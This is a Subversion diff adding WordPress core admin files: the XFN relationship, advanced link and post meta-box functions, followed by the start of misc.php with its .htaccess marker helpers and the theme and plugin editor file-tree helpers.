+<input id="link_target_none" type="radio" name="link_target" value="" <?php echo ( isset( $link->link_target ) && ($link->link_target == '') ? 'checked="checked"' : ''); ?> />
+<?php _e('<code>_none</code> &mdash; same window or tab.'); ?></label></p>
+</fieldset>
+<p><?php _e('Choose the target frame for your link.'); ?></p>
+<?php
+}
+
+/**
+ * Display checked checkboxes attribute for xfn microformat options.
+ *
+ * @since 1.0.1
+ *
+ * @global object $link
+ *
+ * @param string $class
+ * @param string $value
+ * @param mixed $deprecated Never used.
+ */
+function xfn_check( $class, $value = '', $deprecated = '' ) {
+	global $link;
+
+	if ( ! empty( $deprecated ) ) {
+		_deprecated_argument( __FUNCTION__, '2.5.0' ); // Never implemented
+	}
+
+	$link_rel = isset( $link->link_rel ) ? $link->link_rel : ''; // In PHP 5.3: $link_rel = $link->link_rel ?: '';
+	$rels = preg_split('/\s+/', $link_rel);
+
+	if ('' != $value && in_array($value, $rels) ) {
+		echo ' checked="checked"';
+	}
+
+	if ('' == $value) {
+		if ('family' == $class && strpos($link_rel, 'child') === false && strpos($link_rel, 'parent') === false && strpos($link_rel, 'sibling') === false && strpos($link_rel, 'spouse') === false && strpos($link_rel, 'kin') === false) echo ' checked="checked"';
+		if ('friendship' == $class && strpos($link_rel, 'friend') === false && strpos($link_rel, 'acquaintance') === false && strpos($link_rel, 'contact') === false) echo ' checked="checked"';
+		if ('geographical' == $class && strpos($link_rel, 'co-resident') === false && strpos($link_rel, 'neighbor') === false) echo ' checked="checked"';
+		if ('identity' == $class && in_array('me', $rels) ) echo ' checked="checked"';
+	}
+}
+
+/**
+ * Display xfn form fields.
+ *
+ * @since 2.6.0
+ *
+ * @param object $link
+ */
+function link_xfn_meta_box($link) {
+?>
+<table class="links-table">
+	<tr>
+		<th scope="row"><label for="link_rel"><?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('rel:') ?></label></th>
+		<td><input type="text" name="link_rel" id="link_rel" value="<?php echo ( isset( $link->link_rel ) ? esc_attr($link->link_rel) : ''); ?>" /></td>
+	</tr>
+	<tr>
+		<th scope="row"><?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('identity') ?></th>
+		<td><fieldset><legend class="screen-reader-text"><span><?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('identity') ?></span></legend>
+			<label for="me">
+			<input type="checkbox" name="identity" value="me" id="me" <?php xfn_check('identity', 'me'); ?> />
+			<?php _e('another web address of mine') ?></label>
+		</fieldset></td>
+	</tr>
+	<tr>
+		<th scope="row"><?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('friendship') ?></th>
+		<td><fieldset><legend class="screen-reader-text"><span><?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('friendship') ?></span></legend>
+			<label for="contact">
+			<input class="valinp" type="radio" name="friendship" value="contact" id="contact" <?php xfn_check('friendship', 'contact'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('contact') ?>
+			</label>
+			<label for="acquaintance">
+			<input class="valinp" type="radio" name="friendship" value="acquaintance" id="acquaintance" <?php xfn_check('friendship', 'acquaintance'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('acquaintance') ?>
+			</label>
+			<label for="friend">
+			<input class="valinp" type="radio" name="friendship" value="friend" id="friend" <?php xfn_check('friendship', 'friend'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('friend') ?>
+			</label>
+			<label for="friendship">
+			<input name="friendship" type="radio" class="valinp" value="" id="friendship" <?php xfn_check('friendship'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('none') ?>
+			</label>
+		</fieldset></td>
+	</tr>
+	<tr>
+		<th scope="row"> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('physical') ?> </th>
+		<td><fieldset><legend class="screen-reader-text"><span><?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('physical') ?></span></legend>
+			<label for="met">
+			<input class="valinp" type="checkbox" name="physical" value="met" id="met" <?php xfn_check('physical', 'met'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('met') ?>
+			</label>
+		</fieldset></td>
+	</tr>
+	<tr>
+		<th scope="row"> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('professional') ?> </th>
+		<td><fieldset><legend class="screen-reader-text"><span><?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('professional') ?></span></legend>
+			<label for="co-worker">
+			<input class="valinp" type="checkbox" name="professional" value="co-worker" id="co-worker" <?php xfn_check('professional', 'co-worker'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('co-worker') ?>
+			</label>
+			<label for="colleague">
+			<input class="valinp" type="checkbox" name="professional" value="colleague" id="colleague" <?php xfn_check('professional', 'colleague'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('colleague') ?>
+			</label>
+		</fieldset></td>
+	</tr>
+	<tr>
+		<th scope="row"><?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('geographical') ?></th>
+		<td><fieldset><legend class="screen-reader-text"><span> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('geographical') ?> </span></legend>
+			<label for="co-resident">
+			<input class="valinp" type="radio" name="geographical" value="co-resident" id="co-resident" <?php xfn_check('geographical', 'co-resident'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('co-resident') ?>
+			</label>
+			<label for="neighbor">
+			<input class="valinp" type="radio" name="geographical" value="neighbor" id="neighbor" <?php xfn_check('geographical', 'neighbor'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('neighbor') ?>
+			</label>
+			<label for="geographical">
+			<input class="valinp" type="radio" name="geographical" value="" id="geographical" <?php xfn_check('geographical'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('none') ?>
+			</label>
+		</fieldset></td>
+	</tr>
+	<tr>
+		<th scope="row"><?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('family') ?></th>
+		<td><fieldset><legend class="screen-reader-text"><span> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('family') ?> </span></legend>
+			<label for="child">
+			<input class="valinp" type="radio" name="family" value="child" id="child" <?php xfn_check('family', 'child'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('child') ?>
+			</label>
+			<label for="kin">
+			<input class="valinp" type="radio" name="family" value="kin" id="kin" <?php xfn_check('family', 'kin'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('kin') ?>
+			</label>
+			<label for="parent">
+			<input class="valinp" type="radio" name="family" value="parent" id="parent" <?php xfn_check('family', 'parent'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('parent') ?>
+			</label>
+			<label for="sibling">
+			<input class="valinp" type="radio" name="family" value="sibling" id="sibling" <?php xfn_check('family', 'sibling'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('sibling') ?>
+			</label>
+			<label for="spouse">
+			<input class="valinp" type="radio" name="family" value="spouse" id="spouse" <?php xfn_check('family', 'spouse'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('spouse') ?>
+			</label>
+			<label for="family">
+			<input class="valinp" type="radio" name="family" value="" id="family" <?php xfn_check('family'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('none') ?>
+			</label>
+		</fieldset></td>
+	</tr>
+	<tr>
+		<th scope="row"><?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('romantic') ?></th>
+		<td><fieldset><legend class="screen-reader-text"><span> <?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('romantic') ?> </span></legend>
+			<label for="muse">
+			<input class="valinp" type="checkbox" name="romantic" value="muse" id="muse" <?php xfn_check('romantic', 'muse'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('muse') ?>
+			</label>
+			<label for="crush">
+			<input class="valinp" type="checkbox" name="romantic" value="crush" id="crush" <?php xfn_check('romantic', 'crush'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('crush') ?>
+			</label>
+			<label for="date">
+			<input class="valinp" type="checkbox" name="romantic" value="date" id="date" <?php xfn_check('romantic', 'date'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('date') ?>
+			</label>
+			<label for="romantic">
+			<input class="valinp" type="checkbox" name="romantic" value="sweetheart" id="romantic" <?php xfn_check('romantic', 'sweetheart'); ?> />&nbsp;<?php /* translators: xfn: http://gmpg.org/xfn/ */ _e('sweetheart') ?>
+			</label>
+		</fieldset></td>
+	</tr>
+
+</table>
+<p><?php _e('If the link is to a person, you can specify your relationship with them using the above form. If you would like to learn more about the idea check out <a href="http://gmpg.org/xfn/">XFN</a>.'); ?></p>
+<?php
+}
+
+/**
+ * Display advanced link options form fields.
+ *
+ * @since 2.6.0
+ *
+ * @param object $link
+ */
+function link_advanced_meta_box($link) {
+?>
+<table class="links-table" cellpadding="0">
+	<tr>
+		<th scope="row"><label for="link_image"><?php _e('Image Address') ?></label></th>
+		<td><input type="text" name="link_image" class="code" id="link_image" maxlength="255" value="<?php echo ( isset( $link->link_image ) ? esc_attr($link->link_image) : ''); ?>" /></td>
+	</tr>
+	<tr>
+		<th scope="row"><label for="rss_uri"><?php _e('RSS Address') ?></label></th>
+		<td><input name="link_rss" class="code" type="text" id="rss_uri" maxlength="255" value="<?php echo ( isset( $link->link_rss ) ? esc_attr($link->link_rss) : ''); ?>" /></td>
+	</tr>
+	<tr>
+		<th scope="row"><label for="link_notes"><?php _e('Notes') ?></label></th>
+		<td><textarea name="link_notes" id="link_notes" rows="10"><?php echo ( isset( $link->link_notes ) ? $link->link_notes : ''); // textarea_escaped ?></textarea></td>
+	</tr>
+	<tr>
+		<th scope="row"><label for="link_rating"><?php _e('Rating') ?></label></th>
+		<td><select name="link_rating" id="link_rating" size="1">
+		<?php
+			for ( $r = 0; $r <= 10; $r++ ) {
+				echo '<option value="' . $r . '"';
+				if ( isset($link->link_rating) && $link->link_rating == $r )
+					echo ' selected="selected"';
+				echo('>' . $r . '</option>');
+			}
+		?></select>&nbsp;<?php _e('(Leave at 0 for no rating.)') ?>
+		</td>
+	</tr>
+</table>
+<?php
+}
+
+/**
+ * Display post thumbnail meta box.
+ *
+ * @since 2.9.0
+ *
+ * @param WP_Post $post A post object.
+ */
+function post_thumbnail_meta_box( $post ) {
+	$thumbnail_id = get_post_meta( $post->ID, '_thumbnail_id', true );
+	echo _wp_post_thumbnail_html( $thumbnail_id, $post->ID );
+}
+
+/**
+ * Display fields for ID3 data
+ *
+ * @since 3.9.0
+ *
+ * @param WP_Post $post A post object.
+ */
+function attachment_id3_data_meta_box( $post ) {
+	$meta = array();
+	if ( ! empty( $post->ID ) ) {
+		$meta = wp_get_attachment_metadata( $post->ID );
+	}
+
+	foreach ( wp_get_attachment_id3_keys( $post, 'edit' ) as $key => $label ) : ?>
+	<p>
+		<label for="title"><?php echo $label ?></label><br />
+		<input type="text" name="id3_<?php echo esc_attr( $key ) ?>" id="id3_<?php echo esc_attr( $key ) ?>" class="large-text" value="<?php
+			if ( ! empty( $meta[ $key ] ) ) {
+				echo esc_attr( $meta[ $key ] );
+			}
+		?>" />
+	</p>
+	<?php
+	endforeach;
+}
+
+/**
+ * Registers the default post meta boxes, and runs the `do_meta_boxes` actions.
+ *
+ * @since 5.0.0
+ *
+ * @param WP_Post $post The post object that these meta boxes are being generated for.
+ */
+function register_and_do_post_meta_boxes( $post ) {
+	$post_type = $post->post_type;
+	$post_type_object = get_post_type_object( $post_type );
+
+	$thumbnail_support = current_theme_supports( 'post-thumbnails', $post_type ) && post_type_supports( $post_type, 'thumbnail' );
+	if ( ! $thumbnail_support && 'attachment' === $post_type && $post->post_mime_type ) {
+		if ( wp_attachment_is( 'audio', $post ) ) {
+			$thumbnail_support = post_type_supports( 'attachment:audio', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:audio' );
+		} elseif ( wp_attachment_is( 'video', $post ) ) {
+			$thumbnail_support = post_type_supports( 'attachment:video', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:video' );
+		}
+	}
+
+	$publish_callback_args = array( '__back_compat_meta_box' => true );
+	if ( post_type_supports($post_type, 'revisions') && 'auto-draft' != $post->post_status ) {
+		$revisions = wp_get_post_revisions( $post->ID );
+
+		// We should aim to show the revisions meta box only when there are revisions.
+		if ( count( $revisions ) > 1 ) {
+			reset( $revisions ); // Reset pointer for key()
+			$publish_callback_args = array( 'revisions_count' => count( $revisions ), 'revision_id' => key( $revisions ), '__back_compat_meta_box' => true );
+			add_meta_box('revisionsdiv', __('Revisions'), 'post_revisions_meta_box', null, 'normal', 'core', array( '__back_compat_meta_box' => true ) );
+		}
+	}
+
+	if ( 'attachment' == $post_type ) {
+		wp_enqueue_script( 'image-edit' );
+		wp_enqueue_style( 'imgareaselect' );
+		add_meta_box( 'submitdiv', __('Save'), 'attachment_submit_meta_box', null, 'side', 'core', array( '__back_compat_meta_box' => true ) );
+		add_action( 'edit_form_after_title', 'edit_form_image_editor' );
+
+		if ( wp_attachment_is( 'audio', $post ) ) {
+			add_meta_box( 'attachment-id3', __( 'Metadata' ), 'attachment_id3_data_meta_box', null, 'normal', 'core', array( '__back_compat_meta_box' => true ) );
+		}
+	} else {
+		add_meta_box( 'submitdiv', __( 'Publish' ), 'post_submit_meta_box', null, 'side', 'core', $publish_callback_args );
+	}
+
+	if ( current_theme_supports( 'post-formats' ) && post_type_supports( $post_type, 'post-formats' ) )
+		add_meta_box( 'formatdiv', _x( 'Format', 'post format' ), 'post_format_meta_box', null, 'side', 'core', array( '__back_compat_meta_box' => true ) );
+
+	// all taxonomies
+	foreach ( get_object_taxonomies( $post ) as $tax_name ) {
+		$taxonomy = get_taxonomy( $tax_name );
+		if ( ! $taxonomy->show_ui || false === $taxonomy->meta_box_cb )
+			continue;
+
+		$label = $taxonomy->labels->name;
+
+		if ( ! is_taxonomy_hierarchical( $tax_name ) )
+			$tax_meta_box_id = 'tagsdiv-' . $tax_name;
+		else
+			$tax_meta_box_id = $tax_name . 'div';
+
+		add_meta_box( $tax_meta_box_id, $label, $taxonomy->meta_box_cb, null, 'side', 'core', array( 'taxonomy' => $tax_name, '__back_compat_meta_box' => true ) );
+	}
+
+	if ( post_type_supports( $post_type, 'page-attributes' ) || count( get_page_templates( $post ) ) > 0 ) {
+		add_meta_box( 'pageparentdiv', $post_type_object->labels->attributes, 'page_attributes_meta_box', null, 'side', 'core', array( '__back_compat_meta_box' => true ) );
+	}
+
+	if ( $thumbnail_support && current_user_can( 'upload_files' ) )
+		add_meta_box('postimagediv', esc_html( $post_type_object->labels->featured_image ), 'post_thumbnail_meta_box', null, 'side', 'low', array( '__back_compat_meta_box' => true ) );
+
+	if ( post_type_supports($post_type, 'excerpt') )
+		add_meta_box('postexcerpt', __('Excerpt'), 'post_excerpt_meta_box', null, 'normal', 'core', array( '__back_compat_meta_box' => true ) );
+
+	if ( post_type_supports($post_type, 'trackbacks') )
+		add_meta_box('trackbacksdiv', __('Send Trackbacks'), 'post_trackback_meta_box', null, 'normal', 'core', array( '__back_compat_meta_box' => true ) );
+
+	if ( post_type_supports($post_type, 'custom-fields') ) {
+		$args = array(
+			'__back_compat_meta_box' => ! (bool) get_user_meta( get_current_user_id(), 'enable_custom_fields', true ),
+			'__block_editor_compatible_meta_box' => true
+		);
+		add_meta_box('postcustom', __('Custom Fields'), 'post_custom_meta_box', null, 'normal', 'core', $args );
+	}
+
+	/**
+	 * Fires in the middle of built-in meta box registration.
+	 *
+	 * @since 2.1.0
+	 * @deprecated 3.7.0 Use 'add_meta_boxes' instead.
+	 *
+	 * @param WP_Post $post Post object.
+	 */
+	do_action( 'dbx_post_advanced', $post );
+
+	// Allow the Discussion meta box to show up if the post type supports comments,
+	// or if comments or pings are open.
+	if ( comments_open( $post ) || pings_open( $post ) || post_type_supports( $post_type, 'comments' ) ) {
+		add_meta_box( 'commentstatusdiv', __( 'Discussion' ), 'post_comment_status_meta_box', null, 'normal', 'core', array( '__back_compat_meta_box' => true ) );
+	}
+
+	$stati = get_post_stati( array( 'public' => true ) );
+	if ( empty( $stati ) ) {
+		$stati = array( 'publish' );
+	}
+	$stati[] = 'private';
+
+	if ( in_array( get_post_status( $post ), $stati ) ) {
+		// If the post type support comments, or the post has comments, allow the
+		// Comments meta box.
+		if ( comments_open( $post ) || pings_open( $post ) || $post->comment_count > 0 || post_type_supports( $post_type, 'comments' ) ) {
+			add_meta_box( 'commentsdiv', __( 'Comments' ), 'post_comment_meta_box', null, 'normal', 'core', array( '__back_compat_meta_box' => true ) );
+		}
+	}
+
+	if ( ! ( 'pending' == get_post_status( $post ) && ! current_user_can( $post_type_object->cap->publish_posts ) ) )
+		add_meta_box('slugdiv', __('Slug'), 'post_slug_meta_box', null, 'normal', 'core', array( '__back_compat_meta_box' => true ) );
+
+	if ( post_type_supports( $post_type, 'author' ) && current_user_can( $post_type_object->cap->edit_others_posts ) ) {
+		add_meta_box( 'authordiv', __( 'Author' ), 'post_author_meta_box', null, 'normal', 'core', array( '__back_compat_meta_box' => true ) );
+	}
+
+	/**
+	 * Fires after all built-in meta boxes have been added.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string  $post_type Post type.
+	 * @param WP_Post $post      Post object.
+	 */
+	do_action( 'add_meta_boxes', $post_type, $post );
+
+	/**
+	 * Fires after all built-in meta boxes have been added, contextually for the given post type.
+	 *
+	 * The dynamic portion of the hook, `$post_type`, refers to the post type of the post.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param WP_Post $post Post object.
+	 */
+	do_action( "add_meta_boxes_{$post_type}", $post );
+
+	/**
+	 * Fires after meta boxes have been added.
+	 *
+	 * Fires once for each of the default meta box contexts: normal, advanced, and side.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string  $post_type Post type of the post.
+	 * @param string  $context   string  Meta box context.
+	 * @param WP_Post $post      Post object.
+	 */
+	do_action( 'do_meta_boxes', $post_type, 'normal', $post );
+	/** This action is documented in wp-admin/includes/meta-boxes.php */
+	do_action( 'do_meta_boxes', $post_type, 'advanced', $post );
+	/** This action is documented in wp-admin/includes/meta-boxes.php */
+	do_action( 'do_meta_boxes', $post_type, 'side', $post );
+}
Index: /tags/5.0.20/src/wp-admin/includes/misc.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/misc.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/misc.php	(revision 56912)
@@ -0,0 +1,1979 @@
+<?php
+/**
+ * Misc WordPress Administration API.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Returns whether the server is running Apache with the mod_rewrite module loaded.
+ *
+ * @since 2.0.0
+ *
+ * @return bool
+ */
+function got_mod_rewrite() {
+	$got_rewrite = apache_mod_loaded('mod_rewrite', true);
+
+	/**
+	 * Filters whether Apache and mod_rewrite are present.
+	 *
+	 * This filter was previously used to force URL rewriting for other servers,
+	 * like nginx. Use the {@see 'got_url_rewrite'} filter in got_url_rewrite() instead.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @see got_url_rewrite()
+	 *
+	 * @param bool $got_rewrite Whether Apache and mod_rewrite are present.
+	 */
+	return apply_filters( 'got_rewrite', $got_rewrite );
+}
+
+/**
+ * Returns whether the server supports URL rewriting.
+ *
+ * Detects Apache's mod_rewrite, IIS 7.0+ permalink support, and nginx.
+ *
+ * @since 3.7.0
+ *
+ * @global bool $is_nginx
+ *
+ * @return bool Whether the server supports URL rewriting.
+ */
+function got_url_rewrite() {
+	$got_url_rewrite = ( got_mod_rewrite() || $GLOBALS['is_nginx'] || iis7_supports_permalinks() );
+
+	/**
+	 * Filters whether URL rewriting is available.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param bool $got_url_rewrite Whether URL rewriting is available.
+	 */
+	return apply_filters( 'got_url_rewrite', $got_url_rewrite );
+}
+
+/**
+ * Extracts strings from between the BEGIN and END markers in the .htaccess file.
+ *
+ * @since 1.5.0
+ *
+ * @param string $filename
+ * @param string $marker
+ * @return array An array of strings from a file (.htaccess ) from between BEGIN and END markers.
+ */
+function extract_from_markers( $filename, $marker ) {
+	$result = array ();
+
+	if ( ! file_exists( $filename ) ) {
+		return $result;
+	}
+
+	$markerdata = explode( "\n", implode( '', file( $filename ) ) );
+
+	$state = false;
+	foreach ( $markerdata as $markerline ) {
+		if ( false !== strpos( $markerline, '# END ' . $marker ) ) {
+			$state = false;
+		}
+		if ( $state ) {
+			$result[] = $markerline;
+		}
+		if ( false !== strpos( $markerline, '# BEGIN ' . $marker ) ) {
+			$state = true;
+		}
+	}
+
+	return $result;
+}
+
+/**
+ * Inserts an array of strings into a file (.htaccess ), placing it between
+ * BEGIN and END markers.
+ *
+ * Replaces existing marked info. Retains surrounding
+ * data. Creates file if none exists.
+ *
+ * @since 1.5.0
+ *
+ * @param string       $filename  Filename to alter.
+ * @param string       $marker    The marker to alter.
+ * @param array|string $insertion The new content to insert.
+ * @return bool True on write success, false on failure.
+ */
+function insert_with_markers( $filename, $marker, $insertion ) {
+	if ( ! file_exists( $filename ) ) {
+		if ( ! is_writable( dirname( $filename ) ) ) {
+			return false;
+		}
+		if ( ! touch( $filename ) ) {
+			return false;
+		}
+	} elseif ( ! is_writeable( $filename ) ) {
+		return false;
+	}
+
+	if ( ! is_array( $insertion ) ) {
+		$insertion = explode( "\n", $insertion );
+	}
+
+	$start_marker = "# BEGIN {$marker}";
+	$end_marker   = "# END {$marker}";
+
+	$fp = fopen( $filename, 'r+' );
+	if ( ! $fp ) {
+		return false;
+	}
+
+	// Attempt to get a lock. If the filesystem supports locking, this will block until the lock is acquired.
+	flock( $fp, LOCK_EX );
+
+	$lines = array();
+	while ( ! feof( $fp ) ) {
+		$lines[] = rtrim( fgets( $fp ), "\r\n" );
+	}
+
+	// Split out the existing file into the preceding lines, and those that appear after the marker
+	$pre_lines = $post_lines = $existing_lines = array();
+	$found_marker = $found_end_marker = false;
+	foreach ( $lines as $line ) {
+		if ( ! $found_marker && false !== strpos( $line, $start_marker ) ) {
+			$found_marker = true;
+			continue;
+		} elseif ( ! $found_end_marker && false !== strpos( $line, $end_marker ) ) {
+			$found_end_marker = true;
+			continue;
+		}
+		if ( ! $found_marker ) {
+			$pre_lines[] = $line;
+		} elseif ( $found_marker && $found_end_marker ) {
+			$post_lines[] = $line;
+		} else {
+			$existing_lines[] = $line;
+		}
+	}
+
+	// Check to see if there was a change
+	if ( $existing_lines === $insertion ) {
+		flock( $fp, LOCK_UN );
+		fclose( $fp );
+
+		return true;
+	}
+
+	// Generate the new file data
+	$new_file_data = implode( "\n", array_merge(
+		$pre_lines,
+		array( $start_marker ),
+		$insertion,
+		array( $end_marker ),
+		$post_lines
+	) );
+
+	// Write to the start of the file, and truncate it to that length
+	fseek( $fp, 0 );
+	$bytes = fwrite( $fp, $new_file_data );
+	if ( $bytes ) {
+		ftruncate( $fp, ftell( $fp ) );
+	}
+	fflush( $fp );
+	flock( $fp, LOCK_UN );
+	fclose( $fp );
+
+	return (bool) $bytes;
+}
+
+/**
+ * Updates the htaccess file with the current rules if it is writable.
+ *
+ * Always writes to the file if it exists and is writable to ensure that we
+ * blank out old rules.
+ *
+ * @since 1.5.0
+ *
+ * @global WP_Rewrite $wp_rewrite
+ *
+ * @return bool|null True on write success, false on failure. Null in multisite.
+ */
+function save_mod_rewrite_rules() {
+	if ( is_multisite() )
+		return;
+
+	global $wp_rewrite;
+
+	// Ensure get_home_path() is declared.
+	require_once( ABSPATH . 'wp-admin/includes/file.php' );
+
+	$home_path     = get_home_path();
+	$htaccess_file = $home_path . '.htaccess';
+
+	/*
+	 * If the file doesn't already exist check for write access to the directory
+	 * and whether we have some rules. Else check for write access to the file.
+	 */
+	if ((!file_exists($htaccess_file) && is_writable($home_path) && $wp_rewrite->using_mod_rewrite_permalinks()) || is_writable($htaccess_file)) {
+		if ( got_mod_rewrite() ) {
+			$rules = explode( "\n", $wp_rewrite->mod_rewrite_rules() );
+			return insert_with_markers( $htaccess_file, 'WordPress', $rules );
+		}
+	}
+
+	return false;
+}
+
+/**
+ * Updates the IIS web.config file with the current rules if it is writable.
+ * If the permalinks do not require rewrite rules then the rules are deleted from the web.config file.
+ *
+ * @since 2.8.0
+ *
+ * @global WP_Rewrite $wp_rewrite
+ *
+ * @return bool|null True on write success, false on failure. Null in multisite.
+ */
+function iis7_save_url_rewrite_rules(){
+	if ( is_multisite() )
+		return;
+
+	global $wp_rewrite;
+
+	// Ensure get_home_path() is declared.
+	require_once( ABSPATH . 'wp-admin/includes/file.php' );
+
+	$home_path       = get_home_path();
+	$web_config_file = $home_path . 'web.config';
+
+	// Using win_is_writable() instead of is_writable() because of a bug in Windows PHP
+	if ( iis7_supports_permalinks() && ( ( ! file_exists($web_config_file) && win_is_writable($home_path) && $wp_rewrite->using_mod_rewrite_permalinks() ) || win_is_writable($web_config_file) ) ) {
+		$rule = $wp_rewrite->iis7_url_rewrite_rules(false, '', '');
+		if ( ! empty($rule) ) {
+			return iis7_add_rewrite_rule($web_config_file, $rule);
+		} else {
+			return iis7_delete_rewrite_rule($web_config_file);
+		}
+	}
+	return false;
+}
+
+/**
+ * Update the "recently-edited" file for the plugin or theme editor.
+ *
+ * @since 1.5.0
+ *
+ * @param string $file
+ */
+function update_recently_edited( $file ) {
+	$oldfiles = (array ) get_option( 'recently_edited' );
+	if ( $oldfiles ) {
+		$oldfiles = array_reverse( $oldfiles );
+		$oldfiles[] = $file;
+		$oldfiles = array_reverse( $oldfiles );
+		$oldfiles = array_unique( $oldfiles );
+		if ( 5 < count( $oldfiles ))
+			array_pop( $oldfiles );
+	} else {
+		$oldfiles[] = $file;
+	}
+	update_option( 'recently_edited', $oldfiles );
+}
+
+/**
+ * Makes a tree structure for the Theme Editor's file list.
+ *
+ * @since 4.9.0
+ * @access private
+ *
+ * @param array $allowed_files List of theme file paths.
+ * @return array Tree structure for listing theme files.
+ */
+function wp_make_theme_file_tree( $allowed_files ) {
+	$tree_list = array();
+	foreach ( $allowed_files as $file_name => $absolute_filename ) {
+		$list = explode( '/', $file_name );
+		$last_dir = &$tree_list;
+		foreach ( $list as $dir ) {
+			$last_dir =& $last_dir[ $dir ];
+		}
+		$last_dir = $file_name;
+	}
+	return $tree_list;
+}
+
+/**
+ * Outputs the formatted file list for the Theme Editor.
+ *
+ * @since 4.9.0
+ * @access private
+ *
+ * @param array|string $tree  List of file/folder paths, or filename.
+ * @param int          $level The aria-level for the current iteration.
+ * @param int          $size  The aria-setsize for the current iteration.
+ * @param int          $index The aria-posinset for the current iteration.
+ */
+function wp_print_theme_file_tree( $tree, $level = 2, $size = 1, $index = 1 ) {
+	global $relative_file, $stylesheet;
+
+	if ( is_array( $tree ) ) {
+		$index = 0;
+		$size = count( $tree );
+		foreach ( $tree as $label => $theme_file ) :
+			$index++;
+			if ( ! is_array( $theme_file ) ) {
+				wp_print_theme_file_tree( $theme_file, $level, $index, $size );
+				continue;
+			}
+			?>
+			<li role="treeitem" aria-expanded="true" tabindex="-1"
+				aria-level="<?php echo esc_attr( $level ); ?>"
+				aria-setsize="<?php echo esc_attr( $size ); ?>"
+				aria-posinset="<?php echo esc_attr( $index ); ?>">
+				<span class="folder-label"><?php echo esc_html( $label ); ?> <span class="screen-reader-text"><?php _e( 'folder' ); ?></span><span aria-hidden="true" class="icon"></span></span>
+				<ul role="group" class="tree-folder"><?php wp_print_theme_file_tree( $theme_file, $level + 1, $index, $size ); ?></ul>
+			</li>
+			<?php
+		endforeach;
+	} else {
+		$filename = $tree;
+		$url = add_query_arg(
+			array(
+				'file' => rawurlencode( $tree ),
+				'theme' => rawurlencode( $stylesheet ),
+			),
+			self_admin_url( 'theme-editor.php' )
+		);
+		?>
+		<li role="none" class="<?php echo esc_attr( $relative_file === $filename ? 'current-file' : '' ); ?>">
+			<a role="treeitem" tabindex="<?php echo esc_attr( $relative_file === $filename ? '0' : '-1' ); ?>"
+				href="<?php echo esc_url( $url ); ?>"
+				aria-level="<?php echo esc_attr( $level ); ?>"
+				aria-setsize="<?php echo esc_attr( $size ); ?>"
+				aria-posinset="<?php echo esc_attr( $index ); ?>">
+				<?php
+				$file_description = esc_html( get_file_description( $filename ) );
+				if ( $file_description !== $filename && basename( $filename ) !== $file_description ) {
+					$file_description .= '<br /><span class="nonessential">(' . esc_html( $filename ) . ')</span>';
+				}
+
+				if ( $relative_file === $filename ) {
+					echo '<span class="notice notice-info">' . $file_description . '</span>';
+				} else {
+					echo $file_description;
+				}
+				?>
+			</a>
+		</li>
+		<?php
+	}
+}
+
+/**
+ * Makes a tree structure for the Plugin Editor's file list.
+ *
+ * @since 4.9.0
+ * @access private
+ *
+ * @param string $plugin_editable_files List of plugin file paths.
+ * @return array Tree structure for listing plugin files.
+ */
+function wp_make_plugin_file_tree( $plugin_editable_files ) {
+	$tree_list = array();
+	foreach ( $plugin_editable_files as $plugin_file ) {
+		$list = explode( '/', preg_replace( '#^.+?/#', '', $plugin_file ) );
+		$last_dir = &$tree_list;
+		foreach ( $list as $dir ) {
+			$last_dir =& $last_dir[ $dir ];
+		}
+		$last_dir = $plugin_file;
+	}
+	return $tree_list;
+}
+
+/**
+ * Outputs the formatted file list for the Plugin Editor.
+ *
+ * @since 4.9.0
+ * @access private
+ *
+ * @param array|string $tree  List of file/folder paths, or filename.
+ * @param string       $label Name of file or folder to print.
+ * @param int          $level The aria-level for the current iteration.
+ * @param int          $size  The aria-setsize for the current iteration.
+ * @param int          $index The aria-posinset for the current iteration.
+ */
